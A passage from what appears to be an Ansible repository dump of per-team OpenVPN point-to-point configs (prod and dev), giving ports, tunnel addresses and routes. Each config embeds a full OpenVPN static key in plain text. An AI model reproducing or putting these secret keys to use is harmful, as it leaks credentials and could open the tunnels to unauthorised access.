7a56e65847f15515f94fe92507b3bbef 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/6.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30006 3 | dev team6 4 | dev-type tun 5 | ifconfig 10.80.6.1 10.80.6.2 6 | route 10.60.6.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 0a548e52ec3fb2229b633a773fab1bc1 23 | e3f93f88e174ef495104e43948fe6e61 24 | 00250d325870939d72d9d2956135247d 25 | 842172894498d5c9ef8f20ba34cf1908 26 | e4ebcfddfe67c9c12b62b27122385623 27 | 3ad406e62f3cddd6b0f848a3eb489570 28 | eb3cadc5a7ed4f04758c6783b934381a 29 | 94ceb2407470f87f628a871fd22ea65f 30 | 28e9348aff9906ce52bdb50cb4122e4c 31 | 13bb6f35176ea0edbfc1ca0f579cdc2f 32 | d3346a8ad143bda42fc1195040c277d0 33 | af6db3fa9e5710d19fb4a237fc82f1a6 34 | cf83b5a2ab054c46e112b88c5b4e0deb 35 | c89016106986db6fed75b7be754c2fa2 36 | 7e6d2594a8eb8846decdd8e32138cdb4 37 | 00d0ebd84afa4880b2830a7cf3b87ad2 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/7.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30007 3 | dev team7 4 | dev-type tun 5 | ifconfig 10.80.7.1 10.80.7.2 6 | route 10.60.7.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 03907a34e19d0d393d435564e98740d3 23 | 847723c0ba90148fddcf2b968276e0a3 24 | 305c67477b0efef2461a051b0a772fa8 25 | 9b5b85f3247fa4eac69e98a87bcf8b51 26 | 8f07a55f61476c69a62af0d62880264c 27 | 93cf5b25bfd69511a101ff774651932d 28 | 6b537c47e72e98cc68ec100cd7d6cc15 29 | 1fb2221d2affd14ac8406c50905c799e 30 | 4917c9b84beeda1056120190aff7a31a 31 | 6332c4f795f313b0affcc2420fbb7d43 32 | 58a2ff317b460a3f2e06d96099a78d51 33 | b889a9e9c4b0d7eaf00ac6491dcbf79d 34 | 53749882bc1de0fc3ab2f19d7d28dc34 35 | 74ddc99f17cba9705ee3f986b182e84e 36 | 546bfc18988c5e353f52e05ea1a60287 37 | 098e717d449d171a53ec614f0c5f265d 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/8.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30008 3 | dev team8 4 | dev-type tun 5 | ifconfig 10.80.8.1 10.80.8.2 6 | route 10.60.8.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | c381d3777d14a6113c8017637629a0cf 23 | b1dced4952897435b794279fbce41d63 24 | 9adcd56977c936421f3b2dbad761e915 25 | 3470c5542c2129fb7d78cd2a74f8d955 26 | c1c87b643905f153cb627d670049d70e 27 | acb53fd62c1899fc3851be1d34aa4c8f 28 | a5b448e5ecc4e44b93783f256fa7a3df 29 | 85866bc83146931fcbf1e8d797231d69 30 | 4cf5ed29b7b241967a34c4e4dbdc8453 31 | 171ae43aa8dbe9efd06d82572d6edf78 32 | b2ce00a4e53dcd1961dc91620ca7652e 33 | 225fe027ac9239ead6397785ceeef8cd 34 | dfc7c0b66952895b78511f057089924b 35 | 5c0ec5adf9f3a44913790b2c3f2efc41 36 | 4843e22497badcb57f3dfa939f11de67 37 | aad40b026c98cea6282f26eb85b596c7 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_prod/9.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30009 3 | dev team9 4 | dev-type tun 5 | ifconfig 10.80.9.1 10.80.9.2 6 | route 10.60.9.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | tun-mtu 1500 14 | fragment 1300 15 | mssfix 16 | 17 | 18 | # 19 | # 2048 bit OpenVPN static key 20 | # 21 | -----BEGIN OpenVPN Static key V1----- 22 | 52ebd004dd7a446742f594ec714bc3d7 23 | 9d70f3fed228f67d9b0444cc4a50bf34 24 | bfd81042c556f18d37f696a3b58aa0e7 25 | 8fed80e041b8355b8e97b334e27419bf 26 | f90b213083b4a250bfedcd839e0674e8 27 | 18ff87d3aedb919cba5232d0302483fe 28 | 3267a969cf27b02556116207923c59ef 29 | e224885a2944a4d415026fa92f89c713 30 | a97ac482211e5243b115a8f7cb6a6b49 31 | b4aadc5ed34a23692841b460e311766d 32 | 56d3ecc2785148c766677b67872d534c 33 | 691e1fac9f3f63c80a73a10da94f1f38 34 | e996cdad18687bbfdd9556ce30e83f87 35 | 6d2f7a288b8a192df9747b6e24bd4979 36 | f316f94bc8371fbd4c107dbf0e3d911a 37 | fc4c8fde213e403db43a75a20c741646 38 | -----END OpenVPN Static key V1----- 39 | 40 | 41 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/0.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30000 3 | dev team0 4 | dev-type tun 5 | ifconfig 10.80.0.1 10.80.0.2 6 | route 10.60.0.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | b39655ab70c5d70973b5f6814dd10d7e 24 | 2e740e9e893e0b5273a5caebd69cefde 25 | ccdbf30d18c9bab2301aaeb10cf10186 26 | 542fd12d4d442d415d9c708b3de49cef 27 | 38de8816088a98ebba7818524938d495 28 | c760eebfd54ee3a5d5df1ed148842e90 29 | ec0e1cbd42d3a6c8b79bf649cdd8a8e7 30 | 9eadb3e313f7f2d268671f9fea348c40 31 | bb0b8d5e99b0efd269521e917b00eb54 32 | a996f8500bcca5ccc8876e5d9e27aa2d 33 | 53ba6a98cc6889d76a1179e7ff6c81c8 34 | dedbc6a7350496a12749cc73c88d417a 35 | 1ef228caffa0b7107036460684762cba 36 | 9fa6b5bb338557a3d78c6ec92473da77 37 | b233d9e31ec7465a52dce987067c6c38 38 | bcf8ec28ad68ceb9dbaf94331c19355c 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/1.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30001 3 | dev team1 4 | dev-type tun 5 | ifconfig 10.80.1.1 10.80.1.2 6 | route 10.60.1.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | c7ba74e85ca2fa11b20bbc3bae71b5ea 24 | b2c5b4e3b14ca809b482c11067c9251e 25 | 14f3cfc735881cf151515ed362fc449e 26 | cb191e76d1c7f995308bd2c32bdb7d14 27 | bad80a02c2e09550b9e0f87d7c85bd22 28 | baf791d1e1193d16b0bf7770032499b8 29 | 34c5823097aa7b55535885992b483368 30 | 0ac61009425622f804021560b478afd3 31 | 5c86378abc74cc9e35fb33fe59e73b8e 32 | 223acd58414aa68ccfac65b828b6867e 33 | 9ac9245b895918a9b328a1c79aa432e6 34 | 2509f2569d4234408e6c46dcc7199fe9 35 | 914640df974c737a135a3a92116f0993 36 | 9949290669a5106e0e56e44b944bc3e3 37 | 1dae9acd05ee14781730260b99edc1ce 38 | b4931897a599c7170f7935bd21578c6a 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/2.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30002 3 | dev team2 4 | dev-type tun 5 | ifconfig 10.80.2.1 10.80.2.2 6 | route 10.60.2.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 9324e971c78e92846b43a5df6230d378 24 | 26a1351fd50dfab76edb117b5c688ca7 25 | 67873cbb2c476f4772f44752a3c1e79a 26 | cdb19328cffee9dc32420d654ede7455 27 | c5d15f7aa2eafcf77f0f635347f0824d 28 | d426892340a77f644f9f63ad0670670d 29 | e696e6d7f7106b45ef05e3906203fee9 30 | 0b565febd9234833f31d340b5037a03a 31 | 10d760c0a84b1fce462b75ee6ea20a32 32 | 00dbcffb2e26901513662d563b056759 33 | f3585a2e4984a9009017c8ecc7c78c9f 34 | 96bac7b7353f75315e90c63e6352a5e5 35 | 70eb9202bad929d36647fb892e088935 36 | 0d438cdb30d28fd3151df870d4e9034c 37 | bcb20fe023b4ab5669c4398a28518621 38 | a8c76f0777e42d9fe25d42c981303644 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/256.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30256 3 | dev team256 4 | dev-type tun 5 | ifconfig 10.81.0.1 10.81.0.2 6 | route 10.61.0.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 0408b2f180d25d698f59f4c75d6c70bd 24 | 18bcf99d680f4e601be4c20cd91d789b 25 | db2f356d775d6e196de7776c2122bfae 26 | aceb517d4fee3be78c33e0d6d2cdd736 27 | 20c226cdaed10583476cced9b194ffda 28 | fc79de74615a8bd33d96f499c1988629 29 | 74487659f8ceef8e87a0b1b751608b5b 30 | a634f3892776dabc6085d5d0f072a022 31 | 7340117b0d8ef128f9c6ec53a703023d 32 | dc059c5b5b475c1e0463a8d80370a905 33 | 99e673288433194f37ecca21cae8801a 34 | 1d3d27c9ef76de2d5b0a9429dc74e4e3 35 | c91d93977735a2e295a6b3a563f65a0d 36 | 1553be3ba6cdb066a5492d3580c77f6d 37 | dd16f106a4d79d843dd3637fb78a3d8d 38 | 0f0b808c465e36a01b7466920b7cf389 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/257.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30257 3 | dev team257 4 | dev-type tun 5 | ifconfig 10.81.1.1 10.81.1.2 6 | route 10.61.1.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 963fbc5f945c5a33192e3322bb5c4ed1 24 | a5475a68de4d98bcf2e752cd2bc78b60 25 | e431ed7d92cda2911e1c1ee11acb7fa5 26 | 52df650d3e191e47df78f49136738518 27 | 2d308ae0100a9bb9c5700b59dcecbcc8 28 | 266176b33be622523f722931a62c15bd 29 | 001977c1bc85cfcec2e54b0a229eca3a 30 | 6646de75edbb5098bafd597c6abc2e25 31 | 40a3bc0127ea44590ad8a355b1b1bff5 32 | ac01368764f097e048233ce3d4156c6e 33 | 65b6a9b0babf332566e8c2db909439fd 34 | 4332cc115627589f9f0e535109e2a73e 35 | c190fb4a20da9a69965ce1498b851c1e 36 | 12292b08ebefb8696d118a93a7581d7b 37 | bd8d306e8da29e1d7b8c2d3ad4712385 38 | f2af42a813132012f3f8b5450233bfa5 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/258.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30258 3 | dev team258 4 | dev-type tun 5 | ifconfig 10.81.2.1 10.81.2.2 6 | route 10.61.2.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 97f73a3a0c4649cd56b3d2d941659c36 24 | c699f5e30d9a8ce8f8a913265ac93804 25 | a8a7432c7d2aae62b89c17dc89b0199f 26 | 71a63dbe701066104b07287540d29f7c 27 | 5fb2374f4730cf9c219d41c7518788a6 28 | 7ddf3311d99d396ada1ec0cb424e941b 29 | 964319f45805597efc909d00795f5178 30 | 6d36146d271665ce05553a07775f7cf1 31 | 4915e05f7730cadbd47bed4d4fa2b77e 32 | eee427fe4b2ca3139ecee18cd0f1ed84 33 | a6a2da5a1483907fcbbf0cd7c8aa4de9 34 | 524668d8b646377cec54a5447879f5e0 35 | a3962756fb905859e94ba069bc4b6ae5 36 | 0054e6121e2a2e6c0a394e5146bf99c0 37 | 0f867b07eac272a52d9ea03ed116a58e 38 | a813b598a2c70039c2e39aaf036ea928 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/259.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30259 3 | dev team259 4 | dev-type tun 5 | ifconfig 10.81.3.1 10.81.3.2 6 | route 10.61.3.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | b21a0dfc76e4a1b361312e48bdabb479 24 | cd8337a5a1eaa4d100a41cb9275a43d1 25 | 3e250f99599a1bb912bf12ace9885808 26 | 467f38664af865182a26fbf0b822bc2e 27 | 4bd40724c735b4622bd8981da534ad1b 28 | e1453b7ec552f74a982a5c99ee4e1618 29 | c2b5328862aacee2d5d7bc56c4347b70 30 | 4ef74bdca671bde5e55ca8f105c143b1 31 | 55e7a3d3e1e8d5e8a2d9b71d63b58bf1 32 | dea71427aa1e7c2799746e09ce1690d2 33 | 50299d25fd9404d3039097f11ae2f32e 34 | 9ea0e8e3ffeeaf56de279b4dce2f9758 35 | 5be587644e51a3bcdd36749808d0d314 36 | 49580b6fc0380c6a104bbf082ea137b4 37 | a922d1962d1279678e102329b570b962 38 | c360c3851c54a81740c9e0f6096a9e82 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/260.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30260 3 | dev team260 4 | dev-type tun 5 | ifconfig 10.81.4.1 10.81.4.2 6 | route 10.61.4.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | bf5833124fefdf89c748eff1f6474e7c 24 | 845586f0d992a9d8845b33af5a166454 25 | cc7c0e945c0384e9a2ac53fd414e7273 26 | 0ad58a15e3da150b1bf1262273b19234 27 | c7700cada89d1995005f79c4a9c33493 28 | 902a137ea07e19e7273f889905bac9d2 29 | 98eb8d1a58345058cee1e6052a907004 30 | 803c47a877bb5357b3e6b348807667f2 31 | 8babb91ea200471662c648899f444a8f 32 | 922949e2803d98aa21c0ce69e9112429 33 | 9729c55ba24163d1950abfeeb3ab632d 34 | 88de43764b8d2f8154ebb6d788c34bb5 35 | 1f96c6bfd3d2a6e7ed0df52bfcd43e23 36 | 3fc61359b9102d07c003fe9b53205426 37 | 7e674537df09a367be7f685d8598a9c3 38 | ab1067e4b069ceb13aaadf88630b8481 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/261.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30261 3 | dev team261 4 | dev-type tun 5 | ifconfig 10.81.5.1 10.81.5.2 6 | route 10.61.5.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 0c335e2eddc72c73edcad6778c1a7a6c 24 | d147d9c5502d302a0ed4e5f46b4ade7f 25 | a3fc0822d231c0a4dd30e4b9d5cc7699 26 | e3902eed56e713d482fc41ae719d5e58 27 | 231be3e66e96982597ead200c9bdfa10 28 | fe01b47fba9128032e8f3b757d7e0d69 29 | 166efffeed235a94a399cab0e9366c1d 30 | d39a70c3038baef5f1e538309b39c772 31 | 11a9d776026ec84816e2ea9f3694a10d 32 | e9bdb1aec9004c57c55940cd3955691c 33 | 3c18e6613fba523009217c89b82a62de 34 | 137445b53d4f0dcd7d43365dd1207239 35 | 391d87436aaa52f9b174706e6858d8ec 36 | 0cc7b915ec8a8cb91e0acdc1df1f508a 37 | e6bc4e7b12b350245c6749f0a2ce4cee 38 | eb9d1cdd8aed393654e7231c957c8b10 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/262.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30262 3 | dev team262 4 | dev-type tun 5 | ifconfig 10.81.6.1 10.81.6.2 6 | route 10.61.6.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 5e5b656a2e6efe3ffa00658be38e7289 24 | 600e6e5f9af5a4836c0a1d10a13fa0f1 25 | 1dfcce6a6e2577ea52a25033d8af22fb 26 | c8c3d73f8b5d7517d7d6c9079ec77875 27 | d6280ad46c52e2d823e2b3a95ca8114d 28 | a7329eaaa6509321044d41b038f18a53 29 | 912d9837c1df94e0cba3f9c93e242886 30 | 660f3bf90f5ce20fa2a8bfd219f762be 31 | 31ebcbedbacaa4c28f124f0fa7db615c 32 | ad56b3b58d7e29a15c0a4e9bd1ea5588 33 | c76dd38595ca087353e7dbf709ff93ad 34 | 3d247ed2c6cb0738765ce92a52bf3e0b 35 | 9f9463b760466873d478dda319ecbc68 36 | c1056f8301eb5d82beed62704a4a5d64 37 | 3ed22b2d0a29fbcc4628b133c66570ec 38 | 3a7fca2ac08b6ccdda8f0a8b6a2a2959 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/263.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30263 3 | dev team263 4 | dev-type tun 5 | ifconfig 10.81.7.1 10.81.7.2 6 | route 10.61.7.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 56a3eb6bd1e27f858c17084d26b9a42a 24 | 318d810000912cd9ec5dc4657f5d90d0 25 | 8898017d0ce410973239280697bb5e91 26 | 3e76d3592e2f4853665974c221eef0d9 27 | 7aa122f31f9f5fee243df05e9eaf204e 28 | 403828542428bddd9144498557500fd8 29 | 50f2127a748ba3d385a8da2f311b54f8 30 | 6bf371d3a4342aa8405aa78371674ca4 31 | af7fc87cbd23ce6ffd3ef173068bc301 32 | b36e2eced8044010890f16940c6c8051 33 | ab76413c35cfaeb3df7dc314f83c2a39 34 | 4d0f4295344cd08abdec526170ce18c9 35 | b93806141b94adde3d23a90ac30a7038 36 | 7892da4f8eab01b01516dfd1f2f21dea 37 | 7fd539be2ab27799e7d2e178c5b9aab8 38 | 5155aa46c3a14181e6614b37e1ecb6e1 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/264.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30264 3 | dev team264 4 | dev-type tun 5 | ifconfig 10.81.8.1 10.81.8.2 6 | route 10.61.8.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | 70c18ecf8eeaac40ab7f338e91cbb8b0 24 | 5d613e7892865fe2c5eb71c7795d7803 25 | 523fb06f8e0741883f8c49a0cc1a22e7 26 | 4ed3220e51f1b0b3177289380363236c 27 | 87fc598ba118cdf59d991f67e1f4d905 28 | ebfb5bcfe0466b7b2242aeac012ce674 29 | 3b7fb617853c94a1d91dfc48efc90042 30 | 5382de8eae39fbfd196a7899dfd6a45b 31 | fb61a9b30da9a1981880f9446cf1014e 32 | d253375a3b9ceb54d7bae75f4d389f32 33 | 591966f77f8565244819c6d5eaf83ea0 34 | fa084b9534aeb2e10eedd27ed60db2e5 35 | 04a7c9fb431e307da6ae63dd46b563fd 36 | 4f16f1faba9aec1b2a3c130a6c31fac5 37 | 52feef6273778d6b6ed893595977ad1f 38 | 8f8cd53bf6af3c47c7e9550dddd62821 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/265.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30265 3 | dev team265 4 | dev-type tun 5 | ifconfig 10.81.9.1 10.81.9.2 6 | route 10.61.9.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | ac0b8089ea45904ae4c1a81c571d7b7e 24 | 08c42f188cd83412edf0dad9581bb3be 25 | a2963488023298a92216697fd07b1560 26 | 69e532dd8f64ca57701283e3eedcec52 27 | 7d0f6b86af8bcb1c5616d30b79ffbd96 28 | dd6c568125564ea466b58df95f82d823 29 | 4e39bf1deb84106826440bc0224c22fe 30 | f3533b182fe8224afcf1a80158d191b2 31 | 1df37644f12fca1174e0fbc989a45a8d 32 | 6dd988e97b84e70ce15f0325c4943e5b 33 | 8a6f15ef0bc6f93ea24480a5bcce6d06 34 | f52837d42ea697aff21e50491e27d981 35 | eba4addfa6314abd6df4e868de3a75c2 36 | 074416af59ac6e65d80def6365b8ee01 37 | 247c77eef4512764d3fcb85e40a54b63 38 | 275d70fb58d09169bcaf8ddd7a157b96 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/3.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30003 3 | dev team3 4 | dev-type tun 5 | ifconfig 10.80.3.1 10.80.3.2 6 | route 10.60.3.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | aa737a4fe28dcc67cd8200eef2888f52 24 | f001555f560dbe0e324ed594f9be08e3 25 | e2a001f749a411f081849c632a324909 26 | 7e7fb525443da2f72fa3431e66345cd1 27 | e6a2adcd208e6b7d212b0a9da1dcb469 28 | 61d6621739622c23f171b24970c84eb8 29 | 776b5da77ce4cc2f4e2f95990e0ebf28 30 | 0f82f82bd3e6f4a00563050c93c7f986 31 | 091be7b4537641a1c838b6a446419c23 32 | 754ec323c32c9972dba9bf8ac4f1b60f 33 | f19255c6cfd58455804dde3b7ebe10b3 34 | 4fed29665897a5419e0a0811f63eddc5 35 | 58b2a72fdcf8611c3d0eefe454fba089 36 | d7e3e0cc0a471e347682b6ca93635874 37 | 83ee99466c2cb0d80f139bc2c9ea618a 38 | aac89ae776c42b218d5a96df535061df 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/4.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30004 3 | dev team4 4 | dev-type tun 5 | ifconfig 10.80.4.1 10.80.4.2 6 | route 10.60.4.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | a6fe66faf48c3512161702d942d4bc72 24 | 721f1bb86df81b6ea8477d5c4d684ad2 25 | efac1812162a15c14a4be5978265d663 26 | c4999eed4a9cd02b8b04db92c9e09b07 27 | 14c2795f86bf71edfae36d7f78546cc4 28 | f63104b7084707dd97e9e44fcda4d3be 29 | 00219c9f46e8dde4b0df92f688708b21 30 | af944d9a5d950ac33a5479e56ad3b7f7 31 | 8e73bd726f9268feba7c3c3f6e1c7c62 32 | 543e33cdaac133fde4db32392c7064f8 33 | 09dc2ee2bddfd99c426a7c7553162e43 34 | b0a6ddfa06937b2c242c7e5ed34ae7be 35 | d939062561ad21cf981b6636a32734a8 36 | ee2b1d97ee8dd0b35e1864a0379ab9b3 37 | cd813e2b96b4ba03e0874b66e28bd28e 38 | f4e96652ef59e1da82a2ecdab6f75c37 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/5.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30005 3 | dev team5 4 | dev-type tun 5 | ifconfig 10.80.5.1 10.80.5.2 6 | route 10.60.5.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | -----BEGIN OpenVPN Static key V1----- 23 | c0bbceaf3bb380393d00802d28c61b0e 24 | 4a0b8c152a2fd9cc22c0fff1e047fcd5 25 | ac18ebf370aaa1ef623d436edbf6b91a 26 | 10c931d7f85f7501fbb5c7b42c0aff02 27 | 2a3983bfb1aed79e0d011b33f7f9e9c5 28 | 837c049e9e19720392e3a7247b10550d 29 | b2f74a3b62f751c236d5a530534f5020 30 | 9e51875e3344e7050feb9f4187d305cb 31 | 5560773136e71b6feb96cbc51468c8b2 32 | 37f53b4a1fb89e7430d9197866550111 33 | 5f423476ffeb214a423c750a93df537b 34 | c61e6e257e20d1eddaf5db135cdb95c4 35 | 66649d6066b87e960d10a04cbba4c661 36 | b9bcfba73d9c9dd90b6eedafbab0a6e1 37 | 928d19ab9d4a6c710074b064bc8643fb 38 | 3be3fe11e14839ba6a33c066c995b939 39 | -----END OpenVPN Static key V1----- 40 | 41 | 42 | -------------------------------------------------------------------------------- /ansible/roles/vpn/files/openvpn_dev/512.conf: -------------------------------------------------------------------------------- 1 | mode p2p 2 | port 30512 3 | dev team512 4 | dev-type tun 5 | ifconfig 10.82.0.1 10.82.0.2 6 | route 10.62.0.0 255.255.255.0 7 | keepalive 10 60 8 | ping-timer-rem 9 | persist-tun 10 | persist-key 11 | 12 | txqueuelen 1000 13 | 14 | tun-mtu 1500 15 | fragment 1300 16 | mssfix 17 | 18 | 19 | # 20 | # 2048 bit OpenVPN static key 21 | # 22 | 